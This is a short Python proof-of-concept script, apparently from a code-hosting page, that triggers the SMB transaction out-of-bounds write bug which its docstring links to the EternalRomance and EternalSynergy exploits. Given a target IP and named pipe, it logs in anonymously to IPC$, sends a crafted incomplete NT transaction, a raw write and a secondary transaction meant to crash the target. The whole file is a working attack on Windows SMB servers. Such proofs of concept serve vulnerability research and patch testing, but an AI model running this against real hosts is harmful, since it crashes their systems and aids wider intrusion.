41 lines
948 B
Python
41 lines
948 B
Python
#!/usr/bin/python
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from impacket import smb
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from mysmb import MYSMB
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import sys
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'''
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PoC: demonstrates the bug that NSA eternalromance and eternalsynergy use for OOB write
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'''
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USERNAME = ''
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PASSWORD = ''
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if len(sys.argv) != 3:
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print("{} <ip> <pipe_name>".format(sys.argv[0]))
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sys.exit(1)
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target = sys.argv[1]
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pipe_name = sys.argv[2]
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conn = MYSMB(target)
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conn.login(USERNAME, PASSWORD)
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tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
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conn.set_default_tid(tid)
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fid = conn.nt_create_andx(tid, pipe_name)
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# create incomplete transaction with mid is pipe fid
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conn.send_nt_trans(0, mid=fid, totalDataCount=0x5400)
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# use SMB write to shift transaction.InData
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conn.do_write_andx_raw_pipe(fid, 'A'*0x1000)
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# send secondary for OOB write
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# after sending below secondary, a target should be crashed
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conn.send_nt_trans_secondary(fid, data='Z'*0x1000, dataDisplacement=0x4000)
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conn.disconnect_tree(tid)
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conn.logoff()
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conn.get_socket().close()
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